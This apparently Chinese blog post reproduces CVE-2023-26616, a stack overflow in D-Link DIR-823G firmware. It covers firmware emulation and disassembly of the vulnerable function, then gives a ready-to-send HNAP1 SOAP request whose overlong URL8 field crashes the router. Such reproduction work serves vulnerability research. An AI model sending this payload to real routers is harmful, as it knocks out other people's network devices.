DIR-823G漏洞复现 (CVE-2023-26616)

漏洞描述

D-Link DIR-823G firmwareversion 1.02B05 has a buffer overflow vulnerability, which originates from the URL field in SetParentsControlInfo.

漏洞复现工具

虚拟机:Ubuntu18.04

固件版本:DIR823G_V1.0.2B05_20181207.bin

工具:FirmAE、binwalk、ida

模拟路由环境

FirmAE仿真路由环境

sudo ./run.sh -r LBT /home/ccc/DIR859Ax_FW105b03.bin

1699952347_655336db49deb203ef72b.png!small?1699952346695

漏洞分析

根据CVE漏洞描述来源SetParentsControlInfo中的URL变量,在固件中搜索字符串,发现SetParentsControlInfo出现在goahead文件中,放入IDA中反汇编

1699952557_655337ada13cc8475edd6.png!small?1699952557253

搜索URL字符串,查看引用函数

1699952928_655339204c4b4820dd9c9.png!small?1699952927834

对引用的函数逐个查看,发现栈溢出发生在sub_469F78函数

1699954092_65533dacb0948a123f2ad.png!small?1699954092036

查看sub_469F78函数,分析发现栈溢出由于使用strncpy,V104-V111字符数组长度64,分别存储URL1-URL8,URL1-URL8的长度未进行限制,因此发生溢出

1699955354_6553429a6ff8ade156463.png!small?1699955354008

1699955464_655343088b035c9564731.png!small?1699955463794

由此反向推断函数调用链为:main()->sub_423F90()->sub_42383C()->(LOAD段)sub_46B6E8->sub_469F78

main函数调用sub_423F90,通过sub_423F90返回值进行判断。sub_423F90调用sub_42383C进行/HNAP1请求的处理

1699956158_655345bebdabe2d67c734.png!small?1699956158201

sub_42383C调用off_588D80表中的内容进行比对,off_588D80表中存储的函数对应的动作,sub_46B6E8位于该表中

1699956320_655346604643fcd3e23f4.png!small?1699956319783

sub_46B6E8函数即为SetParentsControlInfo函数

1699956452_655346e4ef4ef3097125c.png!small?1699956452256

1699956500_6553471418537e3058dc1.png!small?1699956499341

该漏洞通过请求头设置SetParentsControlInfo动作触发该调用链,造成栈溢出

漏洞复现

Poc

1. 编写python脚本验证

2. 使用火狐浏览器对请求包进行编辑重发进行漏洞验证,依次点击火狐浏览器的开发者工具->Network->192.168.0.1/HNAP1/(任意一个HNAP1都可以)->Resend(右上角)

1699961762_65535ba218b665e9a8912.png!small?1699961762883

然后更改New Request界面下的SOAPAction和Body内容,如下,难后点击Send验证漏洞效果

1."http://purenetworks.com/HNAP1/SetParentsControlInfo"
2.<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetParentsControlInfo xmlns="http://purenetworks.com/HNAP1/"><UsersInfo><HostName>1</HostName><Mac>1</Mac><IndexEnable>1</IndexEnable><StartTime>00:00:00</StartTime><EndTime>23:59:00</EndTime><Week>Sun</Week><UrlEnable>1</UrlEnable><URL1>cp.com</URL1><URL2></URL2><URL3></URL3><URL4></URL4><URL5></URL5><URL6></URL6><URL7></URL7><URL8>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</URL8><GroupId>1</GroupId></UsersInfo></SetParentsControlInfo></soap:Body></soap:Envelope>

1699961491_65535a93c7cc5a5d846b0.png!small?1699961492249

1700014780_65542abc387f4d8803b7f.png!small?1700014781242

路由环境崩了,说明漏洞验证成功

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值